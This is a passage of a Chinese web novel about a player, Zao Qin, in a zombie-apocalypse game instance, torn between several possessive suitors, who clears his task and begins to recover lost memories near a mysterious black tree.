他突然止住话头,飞快瞥了褚风一眼。 褚风是因为他才熬出黑眼圈,这么憔悴,没来得及洗澡,第一件事情就是来见他…… “其实还好,你不脏也不臭,我没说你脏的意思啊……是感觉你很疲惫,没好好休息。”他运用语言的艺术,解释几句,看着褚风眉头皱着,眼泪快冒出来样子,眼皮颤颤。 就不说他真有味道了。 “我不在身边好好吃饭没?好好睡觉没?”褚风问。 其实光从枣芩脸上看就知道了,他就想问。 枣芩软声安慰他,“我都好啊,我没事。” 褚风再次把人紧搂住枣芩,只有这样,他才觉得枣芩是真正在他面前。好好的。 “我们回家。”这里还有别人,太多余,妨碍到了他们互诉衷肠,褚风想回家再听芩芩说。 他喉结往下压了压,让声音没那么哑,“床是干净的,我没不洗澡上床。我们回去我就洗澡。” 枣芩垂着眼,悬在身侧的手蓦然被一只干燥温热的大手握住。 “呵。”宋呈轻嗤了声,讥讽之意从喉腔中溢出。 枣芩侧头想去看他,但褚风按着他的后脑,他没法看,只觉得现在肯定是个很怪异的场面。 褚风没抬眼,只是等着枣芩的回答,“我带了个小盆栽,是番茄的苗,回家就找不着你了,现在还在窗台上放着,还没浇水。它还等着你。” “窗台有太阳,打开窗户还有小风,你想起来的时候给它浇浇水。它很快就可以长大。” 他自顾自地,像是在构建一个安稳平静的美好生活,在等着枣芩回归。 只可惜,宋呈这柄剑,只需要轻轻挑动,就可以把幕布捅破。 “他不是浇水的。”宋呈歪曲褚风的意思,动容不了一点。他话语停了停,感受到枣芩的手指在挣脱,大他一圈的手掌反手笼住。 神色不动对褚风说:“我应该要感谢你?这段特殊时期,帮我照顾他。” 宋呈想起来了? 褚风抱着枣芩的手臂僵硬之下,略微松懈,又往上按在枣芩单薄肩胛骨上,褚风牙关咬碎自己的不安,“芩芩想什么时候回家。” 而不是回不回家。 宋呈没他那么多花招,“枣芩。今天晚上或许就要结束了。” 枣芩其实有试着推褚风的胸口,但摸到他剧烈的心跳声,略微发抖的身体,就干脆任他像个固执的大狗一样抱了。 两个人的声音一下抛出了两个选择,他站在太平中央。 他走向哪边,天平就往哪边倾斜。 非要这样嘛,像是选了一个另一个就会死。 宋呈和他同是玩家,又在副本中是婚姻关系。而褚风,褚风一路都在保护他,对他也好。 可宋呈戳中了靶心,如果宋呈今天审问出任务答案,那他们晚上说不定就可以脱离副本,他跟着褚风回去又能怎么样。 他的沉默,让宋呈眼神微不可察暗了下,“我等会还有话和你说,很重要。” 枣芩又想转头,再次被褚风按回来。 搞得他都有点来脾气了,枣芩抿抿嘴巴,只能就这么背对着宋呈说话,“我先和褚风说几句话,你松开我的手。” 下一刻,宋呈就松手。 枣芩伸手拍拍褚风结实的后背,“你也是,我们去外面说。” 枣芩看了宋呈一眼,他不知道在想什么没看枣芩。他们一起出了房门,到了宋呈的办公室。 办公室空无一人。 枣芩边拉着褚风的手关门,小声嘀咕,“他比你听话多了。” 褚风苦涩的想,确实是。 因为宋呈胜券在握,而他败不旋踵,就连曾经的胜利也都是偷来的。 枣芩被褚风从背后抱着,身体晃了晃。 他轻叹出口气,褚风真的像个一刻离不开主人,有分离焦虑的大狗子。 门再打开,只有枣芩进来。不知道枣芩怎么做的,褚风已经离开了。 枣芩一进门就撞上站在门口的宋呈,手指捏紧,表情愣愣,“你、偷听了?” “没有,隔音很好。”宋呈语速很快回答。 他拉着枣芩坐到沙发上,让枣芩翻找道具,有没有一个名字叫破障的防护道具。 枣芩困惑地翻找,得到答案说:“有啊,你给的。” 毕竟他的道具库里几乎全部都是宋呈给的,这个他不认识,他自己得来的他都记得清清楚楚。 宋呈:“转给我。” 枣芩下意识警惕。 不对,本来是宋呈给他的,枣芩脸烧红,两手搓搓自己的脸蛋,“已经让系统转了。” 他好奇,“你怎么了?要解除什么道具吗?” 枣芩看了介绍,破障的功能就是当别人给主人使用道具时,会被动的保护主人。 当已经被使用时,也可以如名字一样——破障。 “别担心,没事。”宋呈手指背碰碰枣芩的脸颊。他只是被人耍了,像耍猴子一样耍了。 滑稽到他无地自容说出口。 连有人给他用了道具,都毫无察觉。 如果不是从枣芩话中捕捉到异常,他用一次性道具检测,他不知道什么时候才能发现。 他在翻找‘破障’时,看到自己翻不到头的、转给同一个人的道具记录。 更加确定了,他消失了一段特定的记忆。 宋呈眼底控制不住的阴鸷。 “对了,说起道具,可不可以对他们使用道具啊。”枣芩眼睛发亮,认真盯着宋呈凑上前,有些兴奋自己的想法,“就像那种可以直接搜记忆的道具,你有吗?” 宋呈默了默,轻咳一声,侧头看他,“没有,我们用不着。” “好吧。” 枣芩对待近在咫尺的任务挺迫切,问了宋呈几遍什么时候去见江士修,宋呈的道具没有立刻生效,记忆没有恢复,在这之前他想和枣芩待在一起。 直到下午,破障才彻底生效。 宋呈早已做好准备,可当记忆来临的那刻还是控制不住自己的情绪,各种情绪犹如骇浪翻腾,将他卷进去。 他完全无法冷静下来。 他想起那天,枣芩不知道吃了多少苦找到他,灰扑扑的。远远的喊了句“宋呈”,他冷淡没有回应时,呆愣可怜的无措表情。 他实打实给了自己一巴掌,口腔腥甜。 也结结实实吓了枣芩一跳,在床上坐起,脸从书后面冒出来看他。 见枣芩受惊的表情,他下意识想再给自己一巴掌,还好手抬起又戛然落下。不然枣芩要以为他疯了。 他在记忆中搜罗一大圈,给他用道具的人大概有了轮廓,可能会是哪些人。 愤怒过后,就是浓稠的愧疚,掺杂着庆幸。 枣芩是玩家,他们早就认识,他们做过很多亲密的事,他们是一起进入这个副本的。 太好了。 宋呈忽然自己扇了自己一巴掌后,就开始怪里怪气的露出复杂诡异的笑容,搞得枣芩后背毛毛的。 【他没事吧?】枣芩问自家系统。 系统:【吃到掉的馅饼了,又发现是自己掉的。】 枣芩曲膝,用书挡住脸,装自己在看书,没懂,【什么意思啊,他已经完成任务了?】 身边的被褥忽然往下陷,宋呈跪趴上床,将头放在枣芩腰侧。 要是忽略他高大的身形、宽阔的肩膀,这个姿势仿佛是小朋友来求讲睡前故事的。 他头往前,鼻骨贴上了枣芩的腰侧,隔着一层布料。 他声音艰涩的说:“我该死。” “你又怎么了……”枣芩放下书。 宋呈吸着他身体的温度,头颅像是被不知名的力量牵动,微微抬起来,鼻骨沿着布料,埋在枣芩腹部吸了吸,又软又热的香气。 “诶、”枣芩短促细小叫了声。 宋呈头顶极小的,称不上痛的痛感传来。 枣芩细白的手指在他发丝前攥住,另一只手抵着他的额头,将他的头抬起来,表情仓皇又怪异看着他。 宋呈张着唇喘息。 枣芩还没说什么,宋呈收敛起自己的表情,握着枣芩的手。 “我们分开之后,你去了哪里,有没有被欺负……有没有掉眼泪?” 【发狗癫……】 【哈喇子都掉下来了,嘴巴一闭,您又装上了。】 第102章 第 102 章 不想你不在。 【倒是想着问了, 很幽默了。】 【我宝宝受得好大的委屈】 【就是就是。另,我也想吸肚子(尖叫】 【芩芩主人,揪我头发, 主人。】 枣芩之前是想过见到他一定要告诉他, 可是真让他说, 他一下也不知道该怎么说, 呆呆捧起书。 宋呈发觉他的茫然,引导着问他, 从那天的天气开始。 一下午的时间, 足够枣芩把这个副本发生的事情都告诉宋呈了,有些他记得不是很清楚了, 但自己受委屈的部分倒是都记得。 “涂晋。”宋呈念着这个名字,眉头蹙起,当手心尝到疼痛,他才回过神。 枣芩:“你认识他?” 宋呈:“听说过。” “噢, 反正之后最好不要见面了。”枣芩单手撑着脸颊,虽然涂晋一直不让他走, 但最后还是放他走了,“以前就算了。他以后再也不惹我,我就不讨厌他了。” “确实,不开心的事情应该放下。”宋呈顺着枣芩的意思说。 弄死他。 宋呈脑子里充斥着三个字。 道具也一定是他干的。 他本该整个副本都好好保护枣芩, 就像现在, 在一张床上,亲密无间。 他可以趁这个副本只有他们俩,互相陪伴、培养感情。 而不是现在。 他想像过去一样,凑过去亲亲枣芩,都变得不再自然。枣芩肯定会皱着脸躲开。 开弓没有回头箭, 枣芩对他生疏了。 他眼底染上晦暗的偏执,艰难地冷静下来,各种情绪在一起如同化作高浓度的酒精,流淌在血管中,几乎让他眼花耳鸣,肌肉痉挛。 “你的手流血了!” 枣芩小声惊呼,起身去掰宋呈的手,他的手指用力到指骨发白。 枣芩没有看错,宋呈真的把自己的手心抠出了血,此时还在从伤口里往外渗。 这得多疼!枣芩都有点幻痛了。 “你在干什么?”他错愕看向宋呈。 宋呈的表情没什么大变化,任由手心的血渗出,漫不经心瞥了眼。 他转而看枣芩担忧的表情,心里居然鬼使神差地满足。 于是他诚实地说:“我在想,我们先留下来,去那个基地,找到他们。” 眼看着宋呈在说话的时候,指甲再次嵌进去。 枣芩瞳孔微颤,手忙脚乱下床,去找了一包纸巾回来,趴在床边给他垫在手心。 苍白的纸巾迅速吸收鲜红的血液,一点点蔓延开。 枣芩咬住嘴唇,比起担忧他其实更多的是被惊到。 反应过来宋呈刚刚说的话,他小脸十分认真地摇头,“不要。” 宋呈一怔,“为什么?” “我只想快点完成任务啊。我想、” 枣芩想起自己好像没告诉过宋呈这件事。他捏着手中的纸巾,思索片刻,还是接着说了出来,“我想快点找到我的记忆。我失去了过去的记忆,我记得的只有副本世界,那种感觉你懂吗。” 没有过去的记忆,让他感觉自己是大海中的浮木。但好在他有目标,可以顺着某个目的地飘去。 他总觉得他的记忆很重要,有什么人什么事,在等待他想起来。 很重要的记忆。 宋呈看了他片刻,多余的没多说。 只笑说:“好。” 枣芩在他床上侧躺着睡着了。 灯光柔柔的像雾般笼罩着他,睫毛轻轻覆盖。宋呈在床边,安静凝视他的睡颜。 “对不起。”宋呈低低说。 他凑上去轻吻枣芩的嘴唇,力道很小怕把人弄醒,含吮了几秒就满意罢休。 起身把枣芩身上的书折好页数,放在了床头柜,方便他醒来看。 这书的名字很古怪,看得宋呈直皱眉。 Omega,希腊字母? 枣芩没盖被子,身上衣服单薄,浑身每一处的比例勾勒出的线条都有股恰到好处的肉感。 他要给枣芩盖被子的手僵住,就这么停顿,枣芩似乎察觉到冷意肩膀缩了瞬,他才把被子盖下去。 枣芩睡着了,他还有事情。 枣芩的衣服还没洗。 他不想让别人来洗。 于是等去监管处见江士修,已经比他预想的时间晚了些。 对于他的问题,江士修并不抗拒,几乎有问必答,回答很简练,几句话就把问题回答明白。 江士修坐在桌子另一边,哪怕手腕上戴着银质手铐,看起来依旧斯文,一副无心他事的科学家模样。 他平静的话语中几乎是肯定的口吻,“这是他的任务。” 宋呈如同没听见,他知道了枣芩任务的答案,就起身离开,准备回去陪枣芩睡觉。 “你不问我为什么愿意说。”江士修嘴角有抹很淡的笑,眼镜片反着白光,看不出他已经是输家了。 宋呈不在乎,门开他跨步出去。 江士修再次开口,像自言自语:“我会找到他。” 宋呈步伐没停,嘴角扯了扯,只是生出一点怜悯。 “我会找到他的。”江士修垂头,嘴角扬起又落下,眼里没有笑意。 镜片后的眼神如同一条森冷黏腻的冷血蛇类,固执地纠缠自己的猎物。 不惜任何代价,哪怕撑破自己的肚皮,刮破鳞片。 他是觉醒的npc,但他并不特殊,除他以外还有不少。 而他们不需要聚集,就已经组织起来。 因为在这之前,他们全都共属“柳岸”New World研究会——即利用丧尸病毒清除大批量人类,以达到像修改bug一样,重修这个世界。 那时江士修还是没自我意识的npc。 身份是研究生,最近的秘密研究所是柳岸书店,他致力于解决人类繁衍过剩的问题。 而觉醒后,不管是他,还是他们。 目标已然转变,因为他们发现了另一件事——这个世界是虚假的。 身边出现了一群奇怪的人,他们不属于这个世界,而是【玩家】。 真实是人类天然向往的东西,哪怕它无比残酷,如同烛火之于飞蛾,充满巨大的魅力。 他们的目标从修改这个世界,变成脱离这个世界。 过去的丧尸病毒依旧是他们手中最好用的工具。 丧尸病毒是这个副本的核心,玩家们的任务围绕它。 他们只需要等待玩家自己掉入网中。 直到某一天,他醒来,发现自己又回到了大学,他们投放病毒的前一周。 世界重启了。 和他一样,觉醒的npc都记得上一周目的事情。 玩家们却变了。 他最终得到答案,因为上个周目玩家要么死,要么通关了。 玩家全部消失,副本就重启了。 他再次意识到这个世界的虚假,周围的一切在某一刻仿佛变成了可以计算的数字。 丧尸病毒是他们制作的,但那对他们来说,仿佛是上辈子的产物。是这个副本原有的设定。 而他们早已超脱原本的设定,利用原本的设定。 已经重复七次了。 总有一次,他会成功。 江士修回忆起第一次见到枣芩。 是丧尸病毒已经投放一段时间后,他和另外两人一起前往首城,到了他预设好的地点,附近有车。 他第六次杀了那对没用的叛徒情侣,清除痕迹以防万一造假现场。 因为在第三次,他被个无聊的玩家通过道具确认,造成了麻烦。 却在找到车准备离开时,听到其它车辆声响。 他透过望远镜看到了枣芩。 看到了对方的男人,被他用来造假现场,而残留下丧尸病毒变异的男叛徒咬伤。 看到枣芩满脸慌乱,手臂打颤下车。 看到他给男人割肉去除丧尸病毒。 江士修那时在想。 那男人不像玩家,玩家会使用道具。而枣芩也不像玩家,没见过这么能掉眼泪的玩家。 那就是被玩家的蝴蝶效应所影响。 撞到他面前了,是不是他应该过去。 如果是玩家,刚好。不是玩家,也好。 他看了很久,确认他们的目的地和他一样,决定去终点等他。 而现在,枣芩会一直在前方,和终点的真实站在一起。江士修会一点点靠近他。 很快就会迎来第八次重启。 他会利用玩家离开这里。 宋呈有些怜悯江士修,身为玩家他清楚意识到一件事。 黑树在以千倍的速度净化,净化过的副本就无法再次进入,彻底封闭或者说是消失。 大部分玩家都早已察觉。 但他们也不知道,应该也没几个人发觉。 也可以说这只是宋呈基本确定的猜想,只要枣芩进入过的副本都会被净化,连带着周围的副本。 这个副本大概率不会再重启了,江士修也没有机会再见枣芩。 希望和幻想,就只是希望和幻想。 · 宋呈出去没多久,枣芩睁开眼,掀开被子在床上翻滚了几圈,就听到极小的敲门声。 他下床趿着拖鞋,小跑过去开了门。 褚风迫不及待就又想抱他,跟个吸铁石一样,碎成渣渣也要吸到他身上。 “停停停!”严肃的小警官制止他的行为,先关上门。 如果不是说叫他晚上在宋呈离开后过来,褚风今天中午就不会离开了。 果然到晚上,宋呈才刚出去不久,他就迫不及待敲门。 褚风一错不错盯着他,肩颈略微晃动了下,像是枣芩一说可以,他就会冲上来紧搂住他,将人抱到身后的床上去。 “你洗澡了。”枣芩仰着脸点评,还弄了头发,换了衣服。 味道也有点香香的。 “还用了沐浴露诶!”枣芩惊讶。 褚风之前总是不怎么用沐浴露,枣芩用得多。褚风说很不舒服,枣芩倒是没觉得。 褚风挑了下眉,“我本来也洗,说得好像我很脏,明明我俩住一起我每天都洗。” “那是我要你洗的,不然你肯定就不洗。”枣芩转身,边走边说,走到床上。 宋呈去见江士修,短时间应该回不来。 他要好好和褚风道别,他快离开副本了,之后或许没有时间好好告别,只能趁现在。 “你不过来吗?”枣芩看向站在原地的褚风,脱拖鞋上床,膝盖曲着。 褚风坐在床边,侧头看枣芩,略带笑意的声音很磁性,“可以坐?” 这有什么不能坐的。 枣芩:“……你已经坐下了还问可不可以。” 褚风举一反三,“可以抱?” 他话没说完,已经抱上来了。 腰被圈住,枣芩咬住嘴巴。 男人手臂勾过膝弯,熟练一抬,枣芩坐到他腿上,气息交汇在一起。 枣芩略垂脸,责怪的意思几乎没有,“没礼貌,别人没回答你已经抱了。” 褚风被他说话的样子搞得脑子一麻,不假思索蹦出来一句,“可以亲?” 他的嘴巴被枣芩一只手捂住,漂亮眼睛含着怒意瞪他,如水又如火,烧得他心里热。 枣芩:“再问就真不礼貌了啊!” 褚风不准备拿开他的手,由着他捂着自己的嘴。 这动作,就是在亲吻枣芩的手心…… “你不要乱说我就松开了,我在认真和你说话。”枣芩表情确实很认真,“同意点头。” 褚风缓缓点头,随即摸上他的手腕,枣芩把手放下,“你的盆栽呢,没带过来吗。” “没有。” “为什么?”枣芩不解,不是给他的吗。 褚风片刻后才说,“是属于那里的。” 枣芩一愣,不再说了。 褚风低头看枣芩的手,他手上肉不多,很精致,白皙的手背上可以隐隐看到黛青色的脉络。 他摸着枣芩的指关节,“昨天我心情很糟糕,有人给我递烟,我没要。” 枣芩觉得他在求夸,“那你戒烟进度又往前了,很棒啊。” 他低笑了下。 “万一我抽烟你回来了,我就不好立刻上去抱你。你那么讨厌烟味,可不能像以前一样,让你连带着不喜欢我。” …… “我之前看过说。爱是在你不在的地方,我用你管束我自己。” 褚风利落的下颚连着下唇微颤,黯淡的目光看着枣芩,“芩芩,我不想你不在。” 他眼里的浓稠的情感,如山倒海覆。让枣芩睫毛眨了又眨,心慌意乱。 褚风缓缓冲着枣芩微鼓的唇吻去,速度很慢,枣芩有足够的时间再次用手捂他的嘴。 可他没有。 几乎贴上去的距离。褚风低哑说:“可以亲?” 他吻上去,听到枣芩“嗯”了声。 野火燎原一般,他所有的一切,他的生命都被一个音节所点燃。 软嫩张开的唇瓣,湿溻溻的口腔软肉,圈着他脖子的手臂。 褚风全神贯注地投入、贪婪吸吮舔舐,喉结接连滑动吞咽,枣芩口中的每一寸他都不愿意放过,像一匹饿狼最后的晚餐。 最后一个吻。 他单手捂住枣芩和他迷散双眼截然不同、还透着清醒的眼睛。看着他微张的粉唇,凑过去轻含他湿漉漉的上唇,下唇。 听到他发出的轻哼,后背依旧发抖发麻。 “芩芩……”他喊了声,声音沙哑不堪,他亲了亲枣芩的下巴,吻过水迹,“宝宝。” 手移开后,他又吻了枣芩湿润的眼尾,“老婆、” 枣芩的哼声都算应了。 第二天,枣芩任务完成。 【恭喜玩家“枣芩”顺利通关】 【剧情完成——95%】 【身体安全——100%】 【积分奖励——600】 【积分奖励——1000】 第103章 第 103 章 养鱼的海王 今天天气很好, 窗外天空清透蔚蓝,得像来自儿童动画片的颜色,点缀着雪白圆润的云朵。 枣芩醒来就从宋呈那里得到任务答案, 通关任务, 心情也很好。 积分很多, 心情更好。 【这次积分好多哦。】 枣芩眼花缭乱看着瞬间多起来的积分, 感觉自己像小老鼠掉进大米缸。 虽然他并不是多爱花积分,但不妨碍觉得积分多开心, 不由自主畅想起在生死之界无所事事, 暂时不下副本的躺平生活。 系统好像低低笑了声,【嗯, 这次回去安心休息,出去逛逛。】 枣芩趴在床上翘着腿,宽松的睡衣裤腿顺着微鼓的小腿肚滑下去,浑身都是结束任务的舒适安心。合上睫毛, 尾音拖得长长懒懒,“当然啦~” 面对他旁若无人的姿态, 系统停顿片刻后问他:【准备什么时候离开副本。】 枣芩想了想,【我也不知道,宋呈说在等什么东西,他的任务好像还没完成。我们毕竟算一起的, 我不好意思先走, 完成任务多亏了他、】 枣芩睁开眼,话头忽然止住,手肘慢吞吞撑起一点身体。 【不过大部分还是靠我自己的,不是我,哪有这么快发现江士修?他那么能演, 如果宋呈面对他,说不定没我做得好……】 摸摸莫名烧起来的耳朵,枣芩有点恨铁不成钢,明明说得没问题,自己心虚个什么劲。 他心里发臊地翻开身前的小说。 系统:【嗯,确实,我也觉得。】 一翻就是上次读到的那一页,下面有个折角。 枣芩没来得及思考折角,突然警惕地眼睛转了下,【你怎么怪怪的。】 系统很冷静,【有吗。】 【给我换系统了?】枣芩按上书坐起来。 这句有吗更怪了。 枣芩寻思,当他说出有大部分靠自己时,系统应该恶毒地说“真幽默啊”“呵呵,那很好笑了”诸如此类,惹他生气的话。 而不是顺着他,好像他说什么都对一样。 这还是他的低素质系统吗。 但枣芩没追究了,他问也肯定问不出什么,系统这样子一看就不想说,他不跟出bug的机器人计较了。 宋呈回来,枣芩问了宋呈为什么还不走。 才知道他的任务要严苛一些。 他要当上大基地的第一首领,以及、基地内的健康人保持在惊人的万以上。 枣芩之前甚至不知道基地有这么多人存在,宋呈笑说,基地实际上有接近三万人。 等待宋呈完成任务的时间,枣芩无聊,硬是看完了手上那本诡异的大长篇abo文学。 经常看得汗流浃背,每次看完一部分,都要休息休息。 花了一周才看完最后一页,合上书的那瞬间都有种恍若隔世的错觉,他感觉自己永远不会忘记这本书了。 书看完的那天,也是宋呈说结束的那天。 枣芩终于迫不及待地脱离副本。 少了一个人,房间内的人气也消失了。 宋呈独自收起枣芩的衣物、看过的小说,还有一些其他用过的东西。 之前他派出去的一批人今天上午刚回来。 宋呈平静的想,就算枣芩不在乎,他也在乎,npc也要为自己的行为付出代价。 至于涂晋的,回到生死之界再算账,每一笔都要算清楚。 宋呈打开界面,脱离副本。 上面角落显示他已完成的任务:作为高层领导人之一,让基地的健康人达到在万以上。 任务早在枣芩失踪当天完成。 · 【黑树怎么白的越来越快了?!今天看头顶的叶子又白了巨大一块】 【搞得我又兴奋了,回家发财指日可待!】 【楼上居然还有这么多心思,新来的吧,其实时间久了,就习惯这里的一切了,入副本就是和打工一样维持生计,和原来的世界没什么两样。】 【赞同。本来就已经死了,我把每天都当赚来的,反倒过得比活着的时候开心】 …… …… 枣芩洗了澡,发丝半干,软在沙发上。他翻看了几百条,没发表任何言论。 退出去被另一个帖子吸引了注意。 标题是:女神老婆外敷,天生的主宰者!懂得进,不懂勿入。 不懂。 但是。 不让进? 那对不起,枣芩忍不住想看看了。 【内部消息,sc从副本回来了,和他一起。】 【死小子真是好命啊……】 【看得我一肚子火、虽然我已经死了但有点更想死了】 【还有更火大的你不知道,进去之前他们同居了一段时间,这次还在副本里…lz了……】 【啥意思啥意思lz啥意思?谁来告诉我lz什么意思?】 【领证。】 【????开玩笑呢吧你】 【老婆结婚了,新郎不是我哈、哈哈、哈哈哈……世人笑我太疯癫,我笑他人看不穿】 【没人脉,我到现在都不知道名字,谁能见面告诉我,有偿。】 …… 领证,sc、宋呈? 关键词放一起,枣芩隐隐好像有点懂了,但又觉得不会是自己想的那样。 “应该不是吧。”他小声嘀咕了声,随即怀着古怪的感觉又重新看了遍,试着把自己往上对,确定了是巧合。 他是个不足挂齿的无名小卒,搜索他的名字,结果为意料之中的0。 况且那些形容词也安不到他头上,他跟那标题可以说是毫无关系、大相径庭。 对方应该是很有魅力,性格强势,能力出众的那种,不然怎么说是主宰者。 【我去接你过来,好不好?】忽然收到宋呈发来消息,打断了枣芩的思路。 他挪开视线,想装作没看见。 倒不是枣芩排斥见宋呈,他想先休息休息,像系统说的,出去逛逛,熟悉自己所在的环境。 但枣芩有一种直觉。如果他不回复一个明确的时间,这家伙可能会在附近蹲他…… 既像无可奈何也像安抚分离焦虑的狗,只是枣芩自己并未察觉。 他用了语音,因为身体的懒散,语气也蔫巴无力,像是真的累得准备睡觉,“宋呈,我有点累,想自己休息了,这次副本用了好长时间,你也好好休息一下吧。” 片刻后,宋呈同样回了条语音。 他平静地接受了枣芩暂时不想见面这个事实,隔着系统的传讯,声音压得磁性,“好,你先休息。不过我订了餐,两天内的,想吃吗?” 枣芩那头暂时的停顿,让宋呈唇角难以察觉勾了瞬,极淡的。 枣芩确实受了苦,他很心疼,可以接受枣芩想独自休息,但时间太久他会受不了,会煎熬焦虑,控制不住自己。 但他不能强迫枣芩,只能用这种手段了。 末世那种地方,条件再好也还是差了,枣芩已经挺久没吃到大桌的珍馐饭菜。 果然,枣芩犹豫过后,发来新语音,“吃,我明天去找你吃饭。” 气息刻意从喉咙前部发出,宋呈轻笑一声,“好,我等着你。” 【嗯嗯。】枣芩退了出去,没发觉不对似的。 系统忍了几忍,几欲开口,最终还是没有把话说出来。 夹得有点恶心了,枣芩又不是不知道他什么声音,装这么一时的意义是? 他都觉得丢脸,还好枣芩没听出来。 准备出门。 枣芩十分奢侈,把这次抽到的【间谍卡】用了,一共是十张,一张有效时间是一小时。 镜中人长相没变化,枣芩捏捏自己的脸蛋,拍自己的额头,凑近看,丁点的变化都没有。 还是原来那张毫无攻击性的脸蛋。 系统看着他对着镜子苦闷怀疑的表情,不存在的胸口轻轻发涨,好一会才开口,嗓音端了端,“间谍卡不是变样,是降低你的存在感。” “噢,这样啊。”枣芩平淡地离开镜子前。 这张卡的介绍是:如果没有存在感是一种天赋,那拥有这张卡的你将是天才中的天才,你在人群中杀人也不会有人注意到你。 枣芩只觉得夸张。 很快他就验证了这张卡的作用。 在去商店的路上,有个男人直直朝他撞过来,平时这种状况下,两方都会自然地错开。 导致枣芩反应过来时已经躲闪不及,惊慌往后退,脚步一趔趄差点摔倒,还好被对方及时扶住。 青年男人满脸错愕,握着他的手臂,胸膛起伏几瞬,视线快速上下划过,道歉说:“你没事吧,我不是故意的,好像走神了,刚刚没看见你。” 枣芩稳住身体,睫毛眨了眨,顿时打心底里相信这卡的功能了。 他抽回手臂,摇头说:“没事没事。” “没事吗?我看你状态不太好……”男人指不远处一家饮品店,看起来很关切负责的模样,“要不去旁边店坐坐,我给你道个歉。” 枣芩哪里用得着,连忙摆手拒绝,禁不住脸上由里而外尴尬地晕红,“不用,真的没事,不是你的原因。” 不过这张卡也不是全然让别人看不到他,当注意力落到他身上的时候,还是可以看到他。 “是我的原因。”对方不依不饶。 “没有。是我存在感太低了而已,我要走了,还有急事。”枣芩准备绕道走。 男人盯着他,“没有,你存在感很高……” 枣芩错开他迈步,如果到了商店时间不够,被ATE那群人看到就烦人了。 男人见他要走,眉头皱起,眼底划过几分不甘心,伸手去拦枣芩。 手臂陡然被一道大力猛然往后掰,男人顿时疼得龇牙咧嘴,发出痛叫,肩关节仿佛要脱节断裂一般,表情管理全无。 枣芩被叫声吓得抬眼,冷不丁看到了这幅情景,心脏快速跳起来,控制不住后退小半步,认出了湿着眼眶的来人。 他并不想见到的——涂晋。 枣芩也不知道自己怎么想的,总之不想和涂晋有来往,有交流。视线与涂晋短暂交汇一瞬,枣芩就像被恶犬追了,拔腿就跑。 突如其来的运动让他腹侧发疼,胸口因为剧烈呼吸难受,枣芩绷着小脸,一转眼就跑到大楼粗的黑树附近,就近躲到块巨大的排名屏幕后面。 好了,只要涂晋不盯着他,他不发出太多动静,间谍卡应该就能让对方注意不到他。 以防万一,他还问了系统,系统说理论上来说是这样的。 雪白额上渗出细汗,枣芩唇瓣微张地呼吸,手按了下胸膛调整自己,到屏幕边缘看了眼人群,人不少,这里应该也算中心区。 好在人群中并没有涂晋。 枣芩悄悄松了口气,发觉自己手心都湿热热的,暗骂涂晋跟个鬼一样吓人。 脊背贴着屏幕背面蹲下来,他小声自言自语,“躲过去了……” “躲我吗?”身旁熟悉的声音含着无法克制的难过委屈。 枣芩:…… 他眼睛睁圆,缓慢又僵硬地看过去。 涂晋对着他蹲在旁边,高大身体蜷缩,眼白处泛起红血丝,眼底像有一摊化不开的浓墨要融化在枣芩面前,缠绕在他脚边。 魂牵梦萦的人就在他面前,他怎么能哭,于是他扯出了一个笑,“他好废物,你这么久才完成任务。” 枣芩后脑抵在身后的屏幕,妥协般稍抬起下巴,坐在地上,肩膀耷着喘息,吐出的气息应该是热的,涂晋想凑上去也不敢。 枣芩皮肤白,仿佛比脸还要更白一点的脖颈也在随着他的呼吸浮动,底下隐隐可以看到一点血管的颜色。 经过运动,他像是开得正旺、散发着诱人香味的花,白粉相间的那种。 枣芩在他旁边这么休息,涂晋已经感觉幸福得胸膛热流涌过。 枣芩休息够,瞥着他说:“你认错人了。” “我不会认错你。” “……就是认错了。” 涂晋停了瞬:“那我认错了。” 枣芩起身闷头离开,他能感受到涂晋一直跟在他后头,不远不近。 他不想和涂晋来往的主要原因不是涂晋骗过他,欺负过他,是因为这人总让他感觉有点危险。 最厉害的驯兽师面对某些野兽,也不敢保证,某一天自己会不会落入腹中。 而枣芩如果是驯兽师,他大概是那种希望野兽自己变乖听话,让他有足够的安全感和掌控感。 而不是放在自己身边随时可能发神经,缠绕自己的毒蛇。 这种的话,他宁愿不要。 头顶是遮天的树叶,枣芩一转眼走到树下,光是一截裸露的树根,人都需要仰头。 就像其他玩家说的,这树比起他第一次看到的时候白了很多。此时几乎有三分之一树叶是光白色。 那白并不刺眼,又好像深不见底。 枣芩第一次见到这树的时候,就感觉到了那种隐隐存在的吸引力,越靠近越能真切感受到,仿佛是从灵魂中奠定的。 看到逐渐变少的黑色,他不由得有些发愣,仿佛有东西要破土而出。 “小芩……”涂晋的声音再一次出现在耳畔。 枣芩没理会他,仰头继续看着树上的叶子,叶子不计其数,他却精准的知道自己去过的副本属于哪片。 这种感觉非常奇妙。 涂晋识眼色地说:“等祂被净化,我们就能离开了。” 枣芩:“你怎么知道?” “你告诉我你的编号我就告诉你。” 在生死之界,两个人要联系需要编号。 枣芩咬住嘴唇,没有要说的意思。 但涂晋还是告诉他了,这都是他向枣芩展示自己变乖的机会, “玩家的作用就是通过下副本净化黑树,黑树全部变白就代表玩家失去作用,至于会死还是会发生别的,就不知道了。总之是祂困住了玩家,祂是生死之界的核心。” 枣芩忽然从心底里生出一股被冤枉的不适,直冒火,怪罪地瞪他一眼,“你不知道能不能别瞎猜?才不是。” 涂晋下腹一热,哽了哽,“好。” 枣芩走近几步,人类的身体站在这棵树面前,仿佛蝼蚁蜉蝣般渺小,枣芩伸出手,想要抚摸一节裸露的黑色树根。 涂晋在旁边说:“摸不到的。” 枣芩仿佛听不见这句话,五感逐渐消退,他越靠近,越想触碰,耳边的声音变得模糊,他的手指不断往上靠。 耳边又遥远又模糊的声音在喊他,有两道。 “小芩!” “芩芩——” 记忆仿佛放映的幕布,截去前因后果,快速闪过几个场面,枣芩却无比确定这就是他失去的记忆,而且无比确定这不是什么副本。 第一幕。 他还是个幼儿园小朋友,身后站着个小孩,面前也是一群小孩,穿着同样的服装。 他身后的小孩虽然年纪小,却已经是一副冷冰冰少年老成的模样。 别的小孩好像在排挤他,枣芩挡在他身前,其他小孩和枣芩是朋友,喊他“公主”,每个都是一脸的白菜被猪啃了。 画面一变,是已经长大的小孩,五官变化不大,气质依旧冷冽,两人在一个卧室内。 对方与他投入地吻在一起,他眼角缓缓渗出一滴泪,闷哼出声,对方又吻在他脖子上。 第二幕。 他从旁边的泳池出来,与他一起上来的还有一个少年,但已经不是上一个了。 这个满脸的肆意气息,被水浸湿,耳朵还打着一个漂亮的耳骨钉,在阳光下闪烁着光。 他身上薄薄的布料黏在身上,对方同样也是,戴着耳骨钉的少年紧紧搂住了他的腰,几乎叫他喘不过气。 